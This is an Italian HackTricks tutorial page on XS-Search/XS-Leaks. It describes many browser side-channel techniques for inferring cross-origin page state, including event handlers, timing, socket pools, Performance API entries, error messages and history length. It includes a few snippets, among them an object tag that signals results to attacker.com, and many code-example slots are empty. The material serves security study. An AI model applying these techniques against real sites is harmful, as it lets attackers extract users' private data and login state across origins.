Italian - Ht
HackTricks Training Twitter Linkedin Sponsor

XS-Search/XS-Leaks

Usa **** per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest
Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

XS-Search è un metodo utilizzato per estrarre informazioni cross-origin sfruttando vulnerabilità di canale laterale.

I componenti chiave coinvolti in questo attacco includono:

  • Web Vulnerabile: Il sito web di destinazione da cui si intende estrarre informazioni.

  • Web dell'Attaccante: Il sito web malevolo creato dall'attaccante, che la vittima visita, ospitante l'exploit.

  • Metodo di Inclusione: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad es., window.open, iframe, fetch, tag HTML con href, ecc.).

  • Tecnica di Leak: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile in base alle informazioni raccolte attraverso il metodo di inclusione.

  • Stati: Le due condizioni potenziali del Web Vulnerabile, che l'attaccante mira a distinguere.

  • Differenze Rilevabili: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.

Differenze Rilevabili

Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:

  • Codice di Stato: Distinguere tra vari codici di stato di risposta HTTP cross-origin, come errori del server, errori del client o errori di autenticazione.

  • Utilizzo delle API: Identificare l'uso delle API Web tra le pagine, rivelando se una pagina cross-origin utilizza una specifica API Web JavaScript.

  • Reindirizzamenti: Rilevare le navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.

  • Contenuto della Pagina: Osservare variazioni nel corpo della risposta HTTP o nelle risorse sottopagine, come il numero di frame incorporati o disparità di dimensioni nelle immagini.

  • Intestazione HTTP: Notare la presenza o eventualmente il valore di un intestazione di risposta HTTP specifica, inclusi intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.

  • Temporizzazione: Notare disparità di tempo costanti tra i due stati.

Metodi di Inclusione

  • Elementi HTML: HTML offre vari elementi per l'inclusione di risorse cross-origin, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una raccolta di potenziali elementi HTML a tale scopo può essere trovata su https://github.com/cure53/HTTPLeaks.

  • Frame: Elementi come iframe, object e embed possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina manca di protezione del framing, JavaScript può accedere all'oggetto window della risorsa incorniciata tramite la proprietà contentWindow.

  • Pop-up: Il metodo window.open apre una risorsa in una nuova scheda o finestra, fornendo un manico della finestra per consentire a JavaScript di interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nell'accesso singolo, eludono le restrizioni di framing e cookie di una risorsa di destinazione. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.

  • Richieste JavaScript: JavaScript consente richieste dirette alle risorse di destinazione utilizzando XMLHttpRequests o il Fetch API. Questi metodi offrono un controllo preciso sulla richiesta, come optare per seguire i reindirizzamenti HTTP.

Tecniche di Leak

  • Gestore di Eventi: Una tecnica di leak classica in XS-Leaks, dove i gestori di eventi come onload e onerror forniscono informazioni sul successo o fallimento del caricamento della risorsa.

  • Messaggi di Errore: Le eccezioni JavaScript o le pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.

  • Limiti Globali: Limiti fisici di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.

  • Stato Globale: Interazioni rilevabili con gli stati globali dei browser (ad es., l'interfaccia History) possono essere sfruttate. Ad esempio, il numero di voci nella cronologia di un browser può offrire indizi sulle pagine cross-origin.

  • API di Performance: Questa API fornisce dettagli sulle prestazioni della pagina corrente, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.

  • Attributi Leggibili: Alcuni attributi HTML sono leggibili cross-origin e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà window.frame.length consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.

Strumento XSinator & Paper

XSinator è uno strumento automatico per verificare i browser contro diversi XS-Leaks noti spiegati nel suo paper: https://xsinator.com/paper.pdf

Puoi accedere allo strumento su https://xsinator.com/

XS-Leaks Esclusi: Abbiamo dovuto escludere XS-Leaks che si basano su service worker in quanto interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di escludere XS-Leaks che si basano su configurazioni errate e bug in un'applicazione web specifica. Ad esempio, configurazioni errate di Cross-Origin Resource Sharing (CORS), perdite di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di lentezza, rumore e inaccuratezza.

Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest

Tecniche basate sul tempo

Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web.

Orologi: L'API performance.now() consente agli sviluppatori di ottenere misurazioni temporali ad alta risoluzione. Esistono un considerevole numero di API che gli attaccanti possono sfruttare per creare orologi impliciti: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animazioni CSS e altri. Per ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Tecniche degli Event Handler

Onload/Onerror

pageCookie Bomb + Onerror XS Leak

L'esempio di codice cerca di caricare oggetti script da JS, ma altri tag come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare direttamente il tag e dichiarare gli eventi onload e onerror all'interno del tag (anziché iniettarlo da JS).

Esiste anche una versione di questo attacco senza script:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In questo caso, se example.com/404 non viene trovato, verrà caricato attacker.com/?error.

Tempistica Onload

pageperformance.now example

Tempistica Onload + Attività Pesante Forzata

Questa tecnica è simile alla precedente, ma l'attaccante forzerà anche qualche azione a richiedere un tempo significativo quando la risposta è positiva o negativa e misurerà quel tempo.

pageperformance.now + Force heavy task

Tempistica unload/beforeunload

Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando gli eventi unload e beforeunload. L'evento beforeunload viene attivato quando il browser sta per navigare verso una nuova pagina, mentre l'evento unload si verifica quando la navigazione è effettivamente in corso. La differenza di tempo tra questi due eventi può essere calcolata per determinare la durata che il browser ha impiegato per recuperare la risorsa.

Tempistica del Frame con Sandboxing + onload

È stato osservato che in assenza di Protezioni Framing, il tempo necessario per caricare una pagina e le sue sotto-risorse tramite la rete può essere misurato da un attaccante. Questa misurazione è tipicamente possibile perché l'handler onload di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per eludere la variabilità introdotta dall'esecuzione dello script, un attaccante potrebbe utilizzare l'attributo sandbox all'interno dell'<iframe>. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + errore + onload

  • Metodi di Inclusione: Frame

  • Differenza Rilevabile: Contenuto della Pagina

  • Ulteriori informazioni:

  • Sommario: Se riesci a far sì che la pagina generi un errore quando si accede al contenuto corretto e a farla caricare correttamente quando si accede a qualsiasi contenuto, allora puoi creare un loop per estrarre tutte le informazioni senza misurare il tempo.

  • Esempio di Codice:

Supponiamo che tu possa inserire la pagina che ha il contenuto segreto all'interno di un Iframe.

Puoi far cercare alla vittima il file che contiene "flag" utilizzando un Iframe (sfruttando ad esempio un CSRF). All'interno dell'Iframe sai che l'evento onload verrà sempre eseguito almeno una volta. Quindi, puoi cambiare l'URL dell'iframe cambiando solo il contenuto dell'hash all'interno dell'URL.

Per esempio:

  1. URL1: www.attacker.com/xssearch#try1

  2. URL2: www.attacker.com/xssearch#try2

Se il primo URL è stato caricato con successo, allora, quando si cambia la parte hash dell'URL, l'evento onload non verrà attivato di nuovo. Ma se la pagina ha avuto qualche tipo di errore durante il caricamento, allora, l'evento onload verrà attivato di nuovo.

Quindi, puoi distinguere tra una pagina caricata correttamente o una pagina che ha un errore quando viene accessa.

Esecuzione di Javascript

  • Metodi di Inclusione: Frame

  • Differenza Rilevabile: Contenuto della Pagina

  • Ulteriori informazioni:

  • Sommario: Se la pagina restituisce il contenuto sensibile, o un contenuto che può essere controllato dall'utente. L'utente potrebbe impostare codice JS valido nel caso negativo, e caricare ogni tentativo all'interno dei tag <script>, quindi nei casi negativi il codice degli attaccanti viene eseguito, e nei casi positivi nulla verrà eseguito.

  • Esempio di Codice:

pageJavaScript Execution XS Leak

CORB - Onerror

  • Metodi di Inclusione: Elementi HTML

  • Differenza Rilevabile: Codice di Stato e Intestazioni

  • Ulteriori informazioni: https://xsleaks.dev/docs/attacks/browser-features/corb/

  • Sommario: Cross-Origin Read Blocking (CORB) è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse cross-origin sensibili per proteggersi da attacchi come Spectre. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a CORB restituisce un Content-Type protetto da CORB con nosniff e un codice di stato 2xx, CORB rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del codice di stato (indicante successo o errore) e il Content-Type (che indica se è protetto da CORB), portando a una potenziale fuga di informazioni.

  • Esempio di Codice:

Controlla il link per ulteriori informazioni sull'attacco.

onblur

È possibile caricare una pagina all'interno di un iframe e utilizzare il #valore_id per far sì che la pagina si concentri sull'elemento dell'iframe con l'id indicato, quindi se viene attivato un segnale onblur, l'elemento ID esiste. Puoi eseguire lo stesso attacco con i tag portal.

Trasmissioni postMessage

  • Metodi di Inclusione: Frame, Pop-up

  • Differenza Rilevabile: Utilizzo dell'API

  • Ulteriori informazioni: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/

  • Sommario: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessage come un oracolo per conoscere lo stato dell'utente nella pagina

  • Esempio di Codice: Qualsiasi codice in ascolto di tutti i postMessage.

Le applicazioni utilizzano frequentemente le trasmissioni postMessage per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre informazioni sensibili se il parametro targetOrigin non è correttamente specificato, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può agire come un oracolo; ad esempio, certi messaggi potrebbero essere inviati solo agli utenti che sono loggati. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o l'identità dell'utente, come ad esempio se sono autenticati o meno.

Utilizza Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'Accesso Oggi:

Tecniche di Limiti Globali

API WebSocket

È possibile identificare se, e quante, connessioni WebSocket una pagina di destinazione utilizza. Ciò consente a un attaccante di rilevare gli stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.

Se un origine utilizza il massimo numero di oggetti di connessione WebSocket, indipendentemente dallo stato delle loro connessioni, la creazione di nuovi oggetti di connessione causerà eccezioni JavaScript. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web di destinazione in un pop-up o iframe e quindi, dopo che il sito web di destinazione è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il numero di eccezioni generate è il numero di connessioni WebSocket utilizzate dalla finestra del sito web di destinazione.

API di pagamento

Questo XS-Leak consente a un attaccante di rilevare quando una pagina cross-origin inizia una richiesta di pagamento.

Poiché può essere attiva solo una richiesta di pagamento alla volta, se il sito di destinazione sta utilizzando l'API di richiesta di pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà, causando un'eccezione JavaScript. L'attaccante può sfruttare ciò tentando periodicamente di mostrare l'interfaccia dell'API di pagamento. Se un tentativo causa un'eccezione, il sito di destinazione la sta utilizzando attualmente. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia utente dopo la creazione.

Temporizzazione del ciclo degli eventi

pageEvent Loop Blocking + Lazy images

JavaScript opera su un modello di concorrenza del ciclo degli eventi single-threaded, il che significa che può eseguire solo un compito alla volta. Questa caratteristica può essere sfruttata per misurare quanto tempo impiega il codice da un'origine diversa ad eseguire. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo degli eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool degli eventi è vuoto. Se altre origini inviano anche eventi allo stesso pool, un attaccante può dedurre il tempo necessario per l'esecuzione di questi eventi esterni osservando ritardi nell'esecuzione dei propri compiti. Questo metodo di monitoraggio del ciclo degli eventi per i ritardi può rivelare il tempo di esecuzione del codice da origini diverse, potenzialmente esponendo informazioni sensibili.

In una temporizzazione dell'esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.

Ciclo degli eventi occupato

  • Metodi di inclusione:

  • Differenza rilevabile: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)

  • Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop

  • Sommario: Un metodo per misurare il tempo di esecuzione di un'operazione web coinvolge il blocco intenzionale del ciclo degli eventi di un thread e quindi la misurazione di quanto tempo impiega il ciclo degli eventi a diventare nuovamente disponibile. Inserendo un'operazione bloccante (come un calcolo lungo o una chiamata API sincrona) nel ciclo degli eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, è possibile dedurre la durata dei compiti che venivano eseguiti nel ciclo degli eventi durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded del ciclo degli eventi di JavaScript, dove i compiti vengono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.

  • Esempio di codice:

Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloccando il ciclo degli eventi è il potenziale per aggirare l'Isolamento del Sito. L'Isolamento del Sito è una funzionalità di sicurezza che separa i diversi siti web in processi separati, con l'obiettivo di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando la temporizzazione dell'esecuzione di un'altra origine attraverso il ciclo degli eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa sull'accesso diretto ai dati dell'altra origine, ma osserva l'impatto delle attività di quell'origine sul ciclo degli eventi condiviso, eludendo così le barriere protettive stabilite dall'Isolamento del Sito.

In una temporizzazione dell'esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.

Pool di connessioni

  • Metodi di inclusione: Richieste JavaScript

  • Differenza rilevabile: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)

  • Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

  • Sommario: Un attaccante potrebbe bloccare tutte le socket tranne una, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo impiegato dalla pagina di destinazione per caricarsi.

  • Esempio di codice:

pageConnection Pool Examples

I browser utilizzano le socket per la comunicazione con il server, ma a causa delle risorse limitate del sistema operativo e dell'hardware, i browser sono costretti a imporre un limite al numero di socket simultanee. Gli attaccanti possono sfruttare questa limitazione attraverso i seguenti passaggi:

  1. Verificare il limite delle socket del browser, ad esempio, 256 socket globali.

  2. Occupare 255 socket per un periodo prolungato avviando 255 richieste a host diversi, progettate per mantenere le connessioni aperte senza completarle.

  3. Utilizzare la 256ª socket per inviare una richiesta alla pagina di destinazione.

  4. Tentare una 257ª richiesta a un host diverso. Dato che tutte le socket sono in uso (come nei passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando una socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa alla 256ª socket (la socket della pagina di destinazione). Questa inferenza è possibile perché le 255 socket dal passaggio 2 sono ancora impegnate, implicando che qualsiasi socket appena disponibile deve essere quella rilasciata dal passaggio 3. Il tempo impiegato dalla 256ª socket per diventare disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina di destinazione.

Per ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool di connessioni per destinazione

  • Metodi di inclusione: Richieste JavaScript

  • Differenza rilevabile: Temporizzazione (generalmente dovuta al contenuto della pagina, codice di stato)

  • Ulteriori informazioni:

  • Sommario: È simile alla tecnica precedente ma invece di utilizzare tutte le socket, Google Chrome impone un limite di 6 richieste simultanee allo stesso origine. Se blocciamo 5 e poi avviamo una sesta richiesta possiamo misurarla e se riusciamo a far sì che la pagina vittima invii più richieste allo stesso endpoint per rilevare uno stato della pagina, la sesta richiesta impiegherà più tempo e possiamo rilevarlo.

Tecniche dell'API delle Prestazioni

L'API delle Prestazioni offre approfondimenti sulle metriche delle prestazioni delle applicazioni web, ulteriormente arricchite dall'API di Tempistica delle Risorse. L'API di Tempistica delle Risorse consente il monitoraggio dettagliato dei tempi delle richieste di rete, come la durata delle richieste. In particolare, quando i server includono l'intestazione Timing-Allow-Origin: * nelle loro risposte, sono disponibili dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio.

Questa ricchezza di dati può essere recuperata tramite metodi come performance.getEntries o performance.getEntriesByName, fornendo una visione completa delle informazioni correlate alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da performance.now(). Tuttavia, è importante notare che per determinate operazioni nei browser come Chrome, la precisione di performance.now() potrebbe essere limitata a millisecondi, il che potrebbe influire sulla granularità delle misurazioni temporali.

Oltre alle misurazioni temporali, l'API delle Prestazioni può essere sfruttata per approfondimenti legati alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto performance in Chrome può indicare l'applicazione di X-Frame-Options. In particolare, se una pagina è bloccata dal rendering in un frame a causa di X-Frame-Options, non verrà registrata nell'oggetto performance, fornendo un indizio sottile sulle politiche di framing della pagina.

Fuga di Errori

È possibile differenziare tra i codici di stato delle risposte HTTP perché le richieste che portano a un errore non creano una voce di prestazione.

Errore di Ricarica dello Stile

Nella tecnica precedente sono stati identificati due casi in cui i bug del browser in GC portano al caricamento duplicato delle risorse in caso di errore nel caricamento. Ciò comporterà la presenza di voci multiple nell'API delle Prestazioni e quindi può essere rilevato.

Errore di Unione delle Richieste

La tecnica è stata trovata in una tabella nel paper menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, è possibile trovare il codice sorgente che ne verifica la presenza in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Fuga di Pagine Vuote

Un attaccante può rilevare se una richiesta ha generato un corpo di risposta HTTP vuoto perché le pagine vuote non creano una voce di prestazione in alcuni browser.

Fuga di XSS-Auditor

Nelle Asseverazioni di Sicurezza (SA), l'Auditor XSS, originariamente pensato per prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Anche se questa funzionalità integrata è stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici nelle pagine cross-origin, un concetto noto come XS-Leaks, inizialmente segnalato da Terada ed elaborato da Heyes in un post sul blog. Anche se queste tecniche erano specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere divulgate.

Fuga di X-Frame

Se una pagina non è autorizzata a essere visualizzata in un iframe, non crea una voce di prestazione. Di conseguenza, un attaccante può rilevare l'intestazione di risposta X-Frame-Options. Lo stesso accade se si utilizza un tag di incorporamento.

Rilevamento del Download

Analogamente all'XS-Leak descritto, una risorsa che viene scaricata a causa dell'intestazione ContentDisposition, non crea nemmeno una voce di prestazione. Questa tecnica funziona in tutti i principali browser.

Inizio Reindirizzamento Leak

Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste tra origini diverse. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse tra origini diverse. Tuttavia, in SA è possibile rilevare se l'utente viene reindirizzato dalla pagina di destinazione, interrogando il Performance API e verificando i dati temporali di redirectStart.

Durata Reindirizzamento Leak

In GC, la durata delle richieste che risultano in un reindirizzamento è negativa e può quindi essere distinguibile dalle richieste che non comportano un reindirizzamento.

CORP Leak

In alcuni casi, l'entry nextHopProtocol può essere utilizzata come tecnica di leak. In GC, quando l'intestazione CORP è impostata, il nextHopProtocol sarà vuoto. Si noti che SA non creerà affatto una voce di performance per le risorse abilitate a CORP.

Service Worker

I service worker sono contesti di script basati su eventi che vengono eseguiti su un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e memorizzare risorse per creare un'applicazione web offline. Se una risorsa memorizzata nella cache da un service worker viene accessa tramite iframe, la risorsa verrà caricata dalla cache del service worker. Per rilevare se la risorsa è stata caricata dalla cache del service worker si può utilizzare il Performance API. Questo potrebbe essere fatto anche con un attacco di Timing (controlla il paper per ulteriori informazioni).

Cache

Utilizzando il Performance API è possibile verificare se una risorsa è memorizzata nella cache.

Durata Rete

Tecnica Messaggi di Errore

Errore Media

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

Errore CORS

Questa tecnica consente a un attaccante di evidenziare la destinazione di un reindirizzamento di un sito cross-origin sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando viene inviata una richiesta abilitata CORS a un sito di destinazione che emette un reindirizzamento in base allo stato dell'utente e il browser successivamente nega la richiesta, l'URL completo del target del reindirizzamento viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il reindirizzamento ma espone anche il punto finale del reindirizzamento e eventuali parametri di query sensibili che potrebbe contenere.

Errore SRI

Un attaccante può sfruttare i messaggi di errore dettagliati per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Perché SRI funzioni su risorse cross-origin, queste devono essere abilitate CORS; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), simile al CORS error XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente scatenare questo errore assegnando un valore hash fasullo all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa fuga di informazioni consente a un attaccante di distinguere le variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.

Violazione/Rilevamento CSP

Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa fuga può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è consentire il dominio di destinazione sul sito dell'attaccante. Una volta emessa una richiesta al dominio di destinazione, reindirizza a un dominio cross-origin. Il CSP blocca l'accesso ad esso e crea un rapporto di violazione utilizzato come tecnica di fuga. A seconda del browser, questo rapporto può rivelare la posizione di destinazione del reindirizzamento. I browser moderni non indicano l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.

Cache

I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha richiesto un file specifico.

Se una pagina carica un'immagine solo se l'utente è autenticato, è possibile invalidare la risorsa (in modo che non sia più in cache se lo era, vedi link per ulteriori informazioni), effettuare una richiesta che potrebbe caricare quella risorsa e provare a caricare la risorsa con una richiesta errata (ad esempio utilizzando un header referer troppo lungo). Se il caricamento della risorsa non attiva alcun errore, è perché era in cache.

Direttiva CSP

Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di proporre una Content Security Policy (CSP) impostando un attributo su un elemento iframe, con direttive di policy trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve autorizzare ciò tramite un header HTTP, altrimenti viene visualizzata una pagina di errore. Tuttavia, se l'iframe è già regolato da un CSP e la nuova policy proposta non è più restrittiva, la pagina si caricherà normalmente. Questo meccanismo apre una via per un attaccante per rilevare specifiche direttive CSP di una pagina cross-origin identificando la pagina di errore. Anche se questa vulnerabilità è stata segnata come risolta, le nostre scoperte rivelano una nuova tecnica di fuga in grado di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente risolto.

CORP

CORB

Controlla il link per ulteriori informazioni sull'attacco.

Errore CORS sulla cattiva configurazione di Origin Reflection

Nel caso in cui l'intestazione Origin venga riflessa nell'intestazione Access-Control-Allow-Origin, un attaccante può sfruttare questo comportamento per provare a recuperare la risorsa in modalità CORS. Se non viene generato un errore, significa che è stata recuperata correttamente dal web, se viene generato un errore, è perché è stata acceduta dalla cache (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio degli attaccanti). Si noti che se l'origine non viene riflessa ma viene utilizzato un carattere jolly (Access-Control-Allow-Origin: *), questo metodo non funzionerà.

Tecnica degli Attributi Leggibili

Reindirizzamento Fetch

Inviando una richiesta utilizzando Fetch API con redirect: "manual" e altri parametri, è possibile leggere l'attributo response.type e se è uguale a opaqueredirect allora la risposta è stata un reindirizzamento.

COOP

Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per impedire ai siti esterni di ottenere riferimenti a finestre arbitrari. La visibilità di questa intestazione può essere individuata tentando di accedere al riferimento contentWindow. Nei casi in cui COOP viene applicato condizionalmente, la proprietà opener diventa un indicatore lampante: è non definita quando COOP è attiva, e definita in sua assenza.

Lunghezza Massima dell'URL - Lato Server

Se un reindirizzamento lato server utilizza input utente all'interno del reindirizzamento e dati aggiuntivi. È possibile rilevare questo comportamento perché di solito i server hanno un limite di lunghezza della richiesta. Se i dati utente sono di quella lunghezza - 1, poiché il reindirizzamento sta utilizzando quei dati e aggiungendo qualcosa in più, verrà generato un errore rilevabile tramite Error Events.

Se in qualche modo è possibile impostare i cookie a un utente, è possibile eseguire questo attacco anche impostando abbastanza cookie (cookie bomb) in modo che con la dimensione della risposta corretta aumentata un errore venga generato. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, <script> invierà automaticamente i cookie (quindi è possibile controllare gli errori). Un esempio del cookie bomb + XS-Search può essere trovato nella soluzione prevista di questo articolo: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None o essere nello stesso contesto è di solito necessario per questo tipo di attacco.

Lunghezza Massima dell'URL - Lato Client

Secondo la documentazione di Chromium, la lunghezza massima dell'URL di Chrome è di 2MB.

In generale, la piattaforma web non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). Chrome limita gli URL a una lunghezza massima di 2MB per motivi pratici e per evitare problemi di negazione del servizio nella comunicazione tra processi.

Pertanto, se l'URL di reindirizzamento risposto è più grande in uno dei casi, è possibile farlo reindirizzare con un URL più grande di 2MB per colpire il limite di lunghezza. Quando ciò accade, Chrome mostra una pagina about:blank#blocked.

La differenza rilevabile è che se il reindirizzamento è completato, window.origin genera un errore perché un'origine incrociata non può accedere a queste informazioni. Tuttavia, se il limite è stato raggiunto e la pagina caricata era about:blank#blocked, l'origin della finestra rimane quello del genitore, che è un'informazione accessibile.

Tutte le informazioni aggiuntive necessarie per raggiungere i 2MB possono essere aggiunte tramite un hash nell'URL iniziale in modo che venga utilizzato nel reindirizzamento.

pageURL Max Length - Client Side

Numero massimo di reindirizzamenti

Se il numero massimo di reindirizzamenti da seguire di un browser è 20, un attaccante potrebbe provare a caricare la sua pagina con 19 reindirizzamenti e infine mandare la vittima alla pagina testata. Se viene generato un errore, allora la pagina stava cercando di reindirizzare la vittima.

Lunghezza della cronologia

L'API della cronologia consente al codice JavaScript di manipolare la cronologia del browser, che salva le pagine visitate da un utente. Un attaccante può utilizzare la proprietà length come metodo di inclusione: per rilevare la navigazione JavaScript e HTML. Controllando history.length, facendo navigare un utente su una pagina, riportandolo alla stessa origine e controllando il nuovo valore di history.length.

Lunghezza della cronologia con lo stesso URL

  • Metodi di inclusione: Frames, Pop-up

  • Differenza rilevabile: Se l'URL è lo stesso di quello indovinato

  • Sommario: È possibile indovinare se la posizione di un frame/popup è in un URL specifico abusando della lunghezza della cronologia.

  • Esempio di codice: Di seguito

